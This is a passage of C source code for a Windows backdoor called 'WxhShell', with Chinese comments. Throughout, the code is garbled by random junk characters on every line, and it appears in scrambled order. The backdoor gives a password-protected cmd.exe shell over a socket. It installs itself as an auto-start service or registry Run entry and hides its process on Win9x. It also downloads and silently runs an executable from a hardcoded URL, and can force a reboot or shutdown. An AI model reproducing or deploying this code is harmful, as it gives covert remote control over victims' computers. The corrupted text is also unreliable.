    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~ss^[qx|  
    else { bo0U  
    closesocket(wsh); JEUU~L;  
    ExitThread(0); ?cU,%<r  
    } waMF~#PJlt  
    break; U4D7@KY +m  
    } 4G&`&fff]  
  // 获取shell i%2u>N i^  
  case 's': { !fOPYgAGKn  
    CmdShell(wsh); C}huU  
    closesocket(wsh); Sd7jd?#9'  
    ExitThread(0); !KHgHKEW^  
    break; ;ALWL~Xm  
  } 'uL4ezTtA  
  // 退出 K_i|cYGV  
  case 'x': { %>KbaM1b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e@D_0OZ  
    CloseIt(wsh); hD6BP  
    break; C'6I< YX  
    } ;[<(4v$  
  // 离开 rN0<y4)!  
  case 'q': { nrac )W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~\":o:qyc  
    closesocket(wsh); 'a#lBzu\b  
    WSACleanup(); 0 QTI;3  
    exit(1); #g{R+#fm  
    break; @MSmg3 &  
        } ,!orD1,'  
  } PTe L3L  
  } '*J+mZtN  
0jTReY-W  
  // 提示信息 j|!,^._i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ON2o^-%=  
} +x]/W|5  
  } e]4$H.dP  
B+W7zv  
  return; #&Hi0..y  
} 5m8u:6kQu  
z33UER"  
// shell模块句柄 jTa\I&s,A  
int CmdShell(SOCKET sock) v,w af`)J  
{ Xf u0d1b  
STARTUPINFO si; a?[[F{X9^  
ZeroMemory(&si,sizeof(si)); ';C'9k<P:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AC RuDY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G6p gG+w  
PROCESS_INFORMATION ProcessInfo; *Fy6 -CC1  
char cmdline[]="cmd"; O= S[ n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )eZK/>L&  
  return 0; u)oAQ<w  
} jVff@)_S  
$DHE%IN`  
// 自身启动模式 kL8rqv^  
int StartFromService(void) L}h_\1  
{ )r e<NE&M  
typedef struct ciS +.%7  
{ E'x"EN  
  DWORD ExitStatus; ]?6wU-a  
  DWORD PebBaseAddress; l7-lXl"%q  
  DWORD AffinityMask; E;Z(v  
  DWORD BasePriority; M@[W"f Wq  
  ULONG UniqueProcessId; D Q.4b  
  ULONG InheritedFromUniqueProcessId; 2uj .*  
}   PROCESS_BASIC_INFORMATION; qPDNDkjDD  
P@v"aa\@2)  
PROCNTQSIP NtQueryInformationProcess; 6 f*:;  
$hm[x$$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bsa;,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q.N!b 7r7  
H_&to3b(  
  HANDLE             hProcess; bdL= ?KS  
  PROCESS_BASIC_INFORMATION pbi; x?L0R{?WW  
. 1kB8&}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mt.Cj;h@^[  
  if(NULL == hInst ) return 0; uE1;@Dm+  
#D9.A7fCc5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'g%:/lwA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  }u8(7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7r;1 6"  
y8YsS4E^Q  
  if (!NtQueryInformationProcess) return 0; ~vXbh(MX  
>6S7#)0T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |enLv12Gm  
  if(!hProcess) return 0; r D@*xMW  
Z5t^D|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D$>!vD'  
Y%;J/4dd  
  CloseHandle(hProcess); |OeWM  
$b`nV4p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lg<h54X  
if(hProcess==NULL) return 0; rd7p$e=i  
S%- kN;  
HMODULE hMod; %SC Jmn2  
char procName[255]; ,IB\1#  
unsigned long cbNeeded; ].Yz =:  
5Npxs&Ea  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sFM$O232  
SnG(/1C8  
  CloseHandle(hProcess); T +vo)9w  
o8X_uKEI  
if(strstr(procName,"services")) return 1; // 以服务启动 'LMj.#A<g  
>B6* `3v  
  return 0; // 注册表启动 uXc;!*  
} glLVT i  
0B(s+#s  
// 主模块 z% bH?1^o  
int StartWxhshell(LPSTR lpCmdLine) a <C?- g|  
{ G4'Ia$  
  SOCKET wsl; @ eJ8wf]  
BOOL val=TRUE; ulxlh8=  
  int port=0; 'i%r  
  struct sockaddr_in door; Ry >y  
B>nj{W<o  
  if(wscfg.ws_autoins) Install(); 4Kch=jt4#  
`,'/Sdr  
port=atoi(lpCmdLine); 1(@$bsgu2  
G%sq;XT61  
if(port<=0) port=wscfg.ws_port; d3:GmB .  
Xr  <H^X  
  WSADATA data; *b>RUESF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p{5m5x  
R `ViRJh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P] *x6c^n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <yipy[D  
  door.sin_family = AF_INET; %[|^7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,gw9R9 x_  
  door.sin_port = htons(port); Hk*1Wrs*  
k&ooV4#f6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  U${W3Ra  
closesocket(wsl); 36{GZDGQ  
return 1; "jAd.x?X7e  
} $A?9U}V#^  
['o ueOg  
  if(listen(wsl,2) == INVALID_SOCKET) { vS\2zwb}  
closesocket(wsl); yn mjIQ  
return 1; o,WjM[e  
} G$f%]A1  
  Wxhshell(wsl); 0o+Yjg>\~8  
  WSACleanup(); CFh9@Nx  
:m<&Ff}  
return 0; 5;}W=x^$a  
/ :F^*]  
} ^($'l)I  
ZjmQ  
// 以NT服务方式启动 w*6b%h%ww  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r>fGj\#R =  
{ GS>[A b+  
DWORD   status = 0; c9nR&m8(+  
  DWORD   specificError = 0xfffffff; esJ7#Gxt  
cuN]}=D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dLp1l2h!0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &MSU<S?1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \Sd8PGl*'  
  serviceStatus.dwWin32ExitCode     = 0; ~snj92K  
  serviceStatus.dwServiceSpecificExitCode = 0; ^+76^*0  
  serviceStatus.dwCheckPoint       = 0;  )bF l-  
  serviceStatus.dwWaitHint       = 0; es*$/A  
!uGfS' Vl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V^,gpTyv*  
  if (hServiceStatusHandle==0) return; y`va6 %u{  
+b-ON@9]J`  
status = GetLastError(); /Q3>w-h  
  if (status!=NO_ERROR) $Er=i }`  
{ B4b'0p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,m<YS MKX  
    serviceStatus.dwCheckPoint       = 0; :dt[ #  
    serviceStatus.dwWaitHint       = 0; b11I$b #  
    serviceStatus.dwWin32ExitCode     = status; NVb}uH*i  
    serviceStatus.dwServiceSpecificExitCode = specificError; =R=V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -{0Pq.v  
    return; i]c{(gd`  
  } ? uYO]!VC  
aLh(8;$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U"7o;q  
  serviceStatus.dwCheckPoint       = 0; @l CG)Ix<  
  serviceStatus.dwWaitHint       = 0; dq '2y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3wv@wqx  
} XKTDBaON  
Rmw=~NP5  
// 处理NT服务事件,比如:启动、停止 ATkd#k%S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IMWt!#vuY  
{ tKt}]KHV  
switch(fdwControl) i?/Q7D<P  
{ 0i\>(o  
case SERVICE_CONTROL_STOP: -4x! #|]  
  serviceStatus.dwWin32ExitCode = 0; :=hL}(~]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +DRt2a #  
  serviceStatus.dwCheckPoint   = 0; iAH,f5T  
  serviceStatus.dwWaitHint     = 0; STwGp<8  
  { PaSwfjOnqr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %d+Fq=<  
  } Z@euO~e~  
  return; zh2<!MH  
case SERVICE_CONTROL_PAUSE: 1e[?}q]*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g}hUCx(  
  break; =u2~=t=LV  
case SERVICE_CONTROL_CONTINUE: +1wEoU.l2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _9=87u0  
  break; fc~fjtqwvz  
case SERVICE_CONTROL_INTERROGATE: X.#*+k3s0  
  break; c $1u  
}; d[?RL&hJO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;cVK2'  
} Y A,. C4=s  
Y!j/,FU  
// 标准应用程序主函数 S!A:/(^WB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P1OYS\  
{ f1:>H.m`  
FZgf"XM>  
// 获取操作系统版本 nN&dtjoF  
OsIsNt=GetOsVer(); C5(XZscq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dl.< (/  
0 @#Jz#?  
  // 从命令行安装 #!_4ZX  
  if(strpbrk(lpCmdLine,"iI")) Install(); w(bvs&`{uC  
D% *ww'mt0  
  // 下载执行文件 7d.H 8C2  
if(wscfg.ws_downexe) { pzRVX8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M+")*Opq  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;L:UYhDbUx  
} Gd C=>\]  
\ 3E%6L  
if(!OsIsNt) { lFuW8G,-f@  
// 如果时win9x,隐藏进程并且设置为注册表启动 c@,1?q1bv  
HideProc(); c k[uvH   
StartWxhshell(lpCmdLine); L__{U_p  
} y=9fuGL6  
else rui 8x4c  
  if(StartFromService()) v"2A?  
  // 以服务方式启动 Y|mtQ E?c  
  StartServiceCtrlDispatcher(DispatchTable); DPY+{5q2  
else M%jR`qVFg.  
  // 普通方式启动 : HU|BJ>  
  StartWxhshell(lpCmdLine); Y, Lpv|  
xTG5VBv  
return 0; VSO(DCr"L  
} &9gI?b8  
*pO`sC>  
9[~.{{Y  
A~{vja0?  
=========================================== tHqa%  
dM}c-=w`  
EFU)0IAL[  
"8) %XSb  
BQ,749^S  
18~jUYMV  
" qz)KCEs  
:V6t5I'_  
#include <stdio.h> 1.,KN:qe  
#include <string.h> U |eh  
#include <windows.h> hw`pi6  
#include <winsock2.h> WOgkv(5KN  
#include <winsvc.h> Nj?Q{ztS  
#include <urlmon.h> E i2M~/  
#$ka.Pj  
#pragma comment (lib, "Ws2_32.lib") HOPl0fY$L  
#pragma comment (lib, "urlmon.lib") 6%9 kc+ 9  
Rc93Fb-Zp  
#define MAX_USER   100 // 最大客户端连接数 g^:`h VV  
#define BUF_SOCK   200 // sock buffer RHd no C  
#define KEY_BUFF   255 // 输入 buffer 1LSD,t|  
,9KnC=_y  
#define REBOOT     0   // 重启 $qpW?<>,0  
#define SHUTDOWN   1   // 关机 :rk6Stn$z  
Ii3F|Vb G  
#define DEF_PORT   5000 // 监听端口 1#|lt\T  
O|Y`:xvc  
#define REG_LEN     16   // 注册表键长度 J}-e9vK-#  
#define SVC_LEN     80   // NT服务名长度 6 %`h2Z  
p")"t`k7  
// 从dll定义API UZ-pN_!Z:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KAVkYL0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H7drDw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \,m*CYs`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hZ|0<u  
P=P']\`p+  
// wxhshell配置信息 =~,2E;#X  
struct WSCFG { ES(qu]CjI  
  int ws_port;         // 监听端口 pL*aU=FjQ  
  char ws_passstr[REG_LEN]; // 口令 Wj)v,v2&  
  int ws_autoins;       // 安装标记, 1=yes 0=no RP 6<#tq,  
  char ws_regname[REG_LEN]; // 注册表键名 >`yRL[c;  
  char ws_svcname[REG_LEN]; // 服务名 [k%u$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $E8}||d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C%%gCPI^y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sA+K?_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  '"hSX=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;i [;%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oFzmH!&ED  
Fo0s<YlS-  
}; SgN?[r)  
vXM {)  
// default Wxhshell configuration 39 pA:3iTd  
struct WSCFG wscfg={DEF_PORT, Q7zpu/5?  
    "xuhuanlingzhe", sw:a(o&$  
    1, m.gv?  
    "Wxhshell", ;Ob^@OM  
    "Wxhshell", ]W`M <hEI  
            "WxhShell Service", AYsHA w   
    "Wrsky Windows CmdShell Service", j5smmtM`s  
    "Please Input Your Password: ", Vvv;m5.  
  1, Ofb&W AD  
  "http://www.wrsky.com/wxhshell.exe", k5}Qx'/l  
  "Wxhshell.exe" pFBK'NE  
    }; mtLiS3Nk8  
!F Zg' 9  
// 消息定义模块 C0^r]^$Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $EdL^Q2KAy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fU.z_ T[@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (_N(K`4#W  
char *msg_ws_ext="\n\rExit."; E2=vLI]  
char *msg_ws_end="\n\rQuit."; tp"eXA0n  
char *msg_ws_boot="\n\rReboot..."; ! P$[$W  
char *msg_ws_poff="\n\rShutdown..."; #*S.26P^4  
char *msg_ws_down="\n\rSave to "; k|jr+hmn":  
tQ.H/;  
char *msg_ws_err="\n\rErr!"; kf95)iLo  
char *msg_ws_ok="\n\rOK!"; ExFz@6@  
"d0D8B7HI@  
char ExeFile[MAX_PATH]; |WT]s B0Eq  
int nUser = 0; & \C1QkI  
HANDLE handles[MAX_USER]; j]mnH`#BL  
int OsIsNt; _Db&f}.`  
Z;;A#h'%e  
SERVICE_STATUS       serviceStatus; 4)XB3$<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aM_O0Rn==  
^ME'D  
// 函数声明 "F Etl(  
int Install(void); .rX,*|1x  
int Uninstall(void); ,sg\K> H=  
int DownloadFile(char *sURL, SOCKET wsh); [4yw? U  
int Boot(int flag); P*ZMbAf.  
void HideProc(void); =L?2[a$2;  
int GetOsVer(void); ^oE#;aS  
int Wxhshell(SOCKET wsl); u2[L^]|  
void TalkWithClient(void *cs); d+ [2Sm(7  
int CmdShell(SOCKET sock); :N_DJ51  
int StartFromService(void); 7e#|Iq:o  
int StartWxhshell(LPSTR lpCmdLine); C/9]TkX}q  
CZ{7?:^f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^/}&z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZhC ,nbM  
oDt{;S8|]  
// 数据结构和表定义 rz%^l1@-  
SERVICE_TABLE_ENTRY DispatchTable[] = E>r7A5Uo  
{ *l%&/\  
{wscfg.ws_svcname, NTServiceMain}, &xt GabNk  
{NULL, NULL} wL>;_KdU`  
}; <q I!Dj{  
b9v<Jk  
// 自我安装 x2OAkkH\]i  
int Install(void) 0fqycGSmU  
{ 'C>sYSL  
  char svExeFile[MAX_PATH]; V&Rwj_Y  
  HKEY key; `z7,HJ.0c  
  strcpy(svExeFile,ExeFile); _lm^v%J$  
Zdfh*MHMg  
// 如果是win9x系统,修改注册表设为自启动 wAL}c(EHO  
if(!OsIsNt) { #veV {,g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &zP> pQr`#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AYp~;@  
  RegCloseKey(key); k7cY^&o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^oW{N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zW)Wt.svP  
  RegCloseKey(key); +NiCt S  
  return 0; @:>gRD  
    } ~zWLqnS}  
  } hp2$[p6O  
} h b8L[ 4  
else { y3PrLBTz  
{9^p3Q+:P  
// 如果是NT以上系统,安装为系统服务 q)AX*T+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0y+i?y 9  
if (schSCManager!=0) 2n-kJl`: O  
{ h[<l2fy  
  SC_HANDLE schService = CreateService GY^;$?  
  ( {.y_{yWo  
  schSCManager, C46jVl   
  wscfg.ws_svcname, #~.RJ%  
  wscfg.ws_svcdisp, Io&HzQW^a  
  SERVICE_ALL_ACCESS, '6*9pG-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7;&,L H  
  SERVICE_AUTO_START, Sn' +~6i  
  SERVICE_ERROR_NORMAL, L1y71+iqU  
  svExeFile, Vobq|Rd/%  
  NULL, .;l`VWP  
  NULL, j5]ul!ji  
  NULL, Y4_xV&   
  NULL, /?Mr2!3N  
  NULL Y hC|hDC  
  ); hr hj4  
  if (schService!=0) m^,VEV>  
  { TZ!@IBu  
  CloseServiceHandle(schService); |>.</68Z  
  CloseServiceHandle(schSCManager); o/n4M]G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -8<vWe  
  strcat(svExeFile,wscfg.ws_svcname); @X560_x[q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JO90TP $  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I`i"*z  
  RegCloseKey(key); t*u#4I1  
  return 0; }Gy M<!:  
    } XP?)x Dr8  
  } tCar:p4$  
  CloseServiceHandle(schSCManager); #3'M>SaoH  
} kQQDaZ 8  
} *v?kp>O  
0'YJczDq:7  
return 1; mm.%Dcn  
} 7?y 7fwER  
HPJHA ,  
// 自我卸载 LIQ].VxIs  
int Uninstall(void) s{j A!T}  
{ U=U5EdN;  
  HKEY key; AYpvGl'  
(oG.A  
if(!OsIsNt) { "^a"`?J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~!cxRd5;F  
  RegDeleteValue(key,wscfg.ws_regname); vAqj4:j  
  RegCloseKey(key); 8F@Sy,D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m7u`r(&  
  RegDeleteValue(key,wscfg.ws_regname); 0z4M/WrNt  
  RegCloseKey(key); ItZYOt|Hn  
  return 0; ju .pQ=PSX  
  } rPqM&&+  
} a(D=ZKbVU  
} 9 %i\)  
else { ~131|e`C  
p8?v o ?^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >}W[>WReI  
if (schSCManager!=0) HXztEEK6  
{ =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J_-fs#[x  
  if (schService!=0) E-FR w  
  { a7453s  
  if(DeleteService(schService)!=0) { %~gI+0HK  
  CloseServiceHandle(schService);  X)+6>\  
  CloseServiceHandle(schSCManager); r\Kcg~D>  
  return 0; =6"5kz10  
  } {<Gp5j  
  CloseServiceHandle(schService); I0z7bx  
  } o0|Ex\  
  CloseServiceHandle(schSCManager); pe\Nwq  
} V/kndV[j  
} oD1k7Gq1  
Xc}XRKiy{  
return 1; 1?1Bz?EKF*  
} 8N?D1; F;  
o)^ Wz  
// 从指定url下载文件 jX(hBnGW  
int DownloadFile(char *sURL, SOCKET wsh) T?1V%!a;f  
{ GQ>0E  
  HRESULT hr; ~1[n@{*:(  
char seps[]= "/"; w>=N~0@t  
char *token; c;fLM`{*  
char *file; 7v)p\#-  
char myURL[MAX_PATH]; hqmE]hwc  
char myFILE[MAX_PATH]; `[U.BVP'  
#8yo9g6  
strcpy(myURL,sURL); a#;;0R $  
  token=strtok(myURL,seps); -)VjjKz]8  
  while(token!=NULL) Lhe&  
  { {uoF5|O6K  
    file=token; s.Ai _D  
  token=strtok(NULL,seps); 6$'*MpYF4  
  } 5)eM0,:  
v$Hz)J.01  
GetCurrentDirectory(MAX_PATH,myFILE); zyUS$g]&  
strcat(myFILE, "\\"); %A=/(%T>  
strcat(myFILE, file); V K 7  
  send(wsh,myFILE,strlen(myFILE),0); /lu|FWbEw  
send(wsh,"...",3,0); WKlyOK=}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kP ,8[r  
  if(hr==S_OK)  k%i.B  
return 0; a%`%("g!  
else }$'_%,  
return 1; | |awNSt  
`Hlf.>b1  
} emK*g<]  
.hR <{P  
// 系统电源模块 4n7Kz_!SVf  
int Boot(int flag) ._^ne=Lx  
{ L-C^7[48=  
  HANDLE hToken; 9Ffam#  
  TOKEN_PRIVILEGES tkp; zIjfx K  
tm^joK[{|J  
  if(OsIsNt) { ZL\^J8PRK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,6X;YY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h-?yed*?  
    tkp.PrivilegeCount = 1; jqc}mI\#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Y(Dg`8G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \&;y:4&l8  
if(flag==REBOOT) { xd ^Pkf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W/>a 1  
  return 0; K4<"XF1A:  
} 1ruI++P  
else { "g&f:[a/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H~:oW~Ah  
  return 0; -ZZJk-::  
} ?{J1Uw<  
  } 3zD#V3 =  
  else { GyN|beou  
if(flag==REBOOT) { >RkaFcq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8X"4RyNSn  
  return 0; cOX)+53  
} wTU$jd1;+  
else { w|s2f`!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n-cI~Ax+4  
  return 0; Cd 2<r6i  
} ;Jg$C~3tf  
} \2 N;V E  
%bN{FKNN  
return 1; LkS tU)  
} eTvjo(Lvx  
ZZI} Ot{  
// win9x进程隐藏模块 8VMA~7^  
void HideProc(void) \]]K{DO  
{ B=& [Z2  
@tm2Y%Y!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7cGOJA5&  
  if ( hKernel != NULL ) Qr$ 7 U6p  
  { W6NhJ#M7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f^B8!EY#:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *af\U3kx  
    FreeLibrary(hKernel); jeRE(3'Q  
  } Y^!qeY  
SefhOh^,V  
return; Kgr<OL}VJ  
} *pa hZiO  
:p/=KI_  
// 获取操作系统版本 )LFbz#;Y  
int GetOsVer(void) zP #:Tv'  
{ S u6kpC!EW  
  OSVERSIONINFO winfo; {]]%0!n\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GEc-<`-  
  GetVersionEx(&winfo); fGlvum  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v9:J 55x  
  return 1; mB_?N $K  
  else B+Qf? 1f  
  return 0; Et N,  
} %QEBY>|lI  
>ceC8"}J5M  
// 客户端句柄模块 N'ER!=l)  
int Wxhshell(SOCKET wsl) %u66H2  
{ uD=Kar  
  SOCKET wsh; yC\UT ~j/  
  struct sockaddr_in client; z.-yL,Rc`-  
  DWORD myID; Eb4NPWo  
";rXCH.  
  while(nUser<MAX_USER) ) Su>8f[?e  
{ O~V^]   
  int nSize=sizeof(client); q< q IT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KMIe%2:b5  
  if(wsh==INVALID_SOCKET) return 1; >=;-:  
yO)xN=o^\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }? / Blr  
if(handles[nUser]==0) lz#.f,h  
  closesocket(wsh); 7gf(5p5ZV  
else q=88*Y  
  nUser++; (x2?{\?  
  } GuR^L@+ -.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U? Jk  
Gkuqe3  
  return 0; e7;7TrB.  
} :KO&j"[  
#wIWh^^ Zy  
// 关闭 socket yHw @Z  
void CloseIt(SOCKET wsh) 3=uhy|f! /  
{ 7@<.~*Bl6  
closesocket(wsh); )\u%XFPhS  
nUser--; G]rY1f0  
ExitThread(0); t/Io.d   
} MygAmV&  
9 fB|e|  
// 客户端请求句柄 ' 9f0UtT|[  
void TalkWithClient(void *cs) >va_,Y}  
{ xcW\U^1d  
1}wDc$O  
  SOCKET wsh=(SOCKET)cs; 9lYfII}4(  
  char pwd[SVC_LEN]; 0"OEOYs}  
  char cmd[KEY_BUFF]; Qpmq@iL  
char chr[1]; 0o>C, `  
int i,j; {FvFah  
5/'Q0]4h  
  while (nUser < MAX_USER) { ~#)hqU'  
HfSx*@\s  
if(wscfg.ws_passstr) { b=lJ`|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 59)w+AW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &f. |MNz;  
  //ZeroMemory(pwd,KEY_BUFF); 3Y38l P:>h  
      i=0; rq3f/_#L!O  
  while(i<SVC_LEN) { O^~IY/[  
L3Y,z3/  
  // 设置超时 ;9z|rWsF  
  fd_set FdRead; 3XQa%|N(  
  struct timeval TimeOut; b V  EJ  
  FD_ZERO(&FdRead); %RV81H9B  
  FD_SET(wsh,&FdRead); >b2!&dm  
  TimeOut.tv_sec=8; e1W9"&4>G{  
  TimeOut.tv_usec=0; ]`$yY5&W0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h s',f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vz4( k/  
B.G6vx4yp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L&kCI`Tb  
  pwd=chr[0]; D^ @@ P  
  if(chr[0]==0xd || chr[0]==0xa) { D{B?2}X  
  pwd=0; gEk;Tj  
  break; {4 Yx h8  
  } Bz }nP9  
  i++; G7&TMg7i  
    } DK?aFSf\  
(o|bst][S  
  // 如果是非法用户,关闭 socket 2@tnOs(*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9k;,WU(K<  
} aU(.LC  
oC|oh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s*Qyd{"z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y-+W  
!lfE7|\p  
while(1) { Vpg>K #w  
t~ {O)tt  
  ZeroMemory(cmd,KEY_BUFF); (5!'42  
$}su 'EIo  
      // 自动支持客户端 telnet标准   nIg 88*6b,  
  j=0; +w]#26`d  
  while(j<KEY_BUFF) { Cik1~5iF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L /ibnGhq]  
  cmd[j]=chr[0]; [>v1JN  
  if(chr[0]==0xa || chr[0]==0xd) { Cqnuf5e>L  
  cmd[j]=0; aH. "| *.  
  break; ]?(kaNQ "D  
  } v1{j1~ZR  
  j++; \|S%zX  
    } 4:rwzRDY  
flPS+  
  // 下载文件 hYzP6?K"  
  if(strstr(cmd,"http://")) { >Gpq{Ph[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4q]6[/  
  if(DownloadFile(cmd,wsh)) iz-z?)%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ELZ35=qZ  
  else C,+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); imif[n+]}d  
  } &7\}S qp  
  else { %}TJr]'F  
"B: FSWM_-  
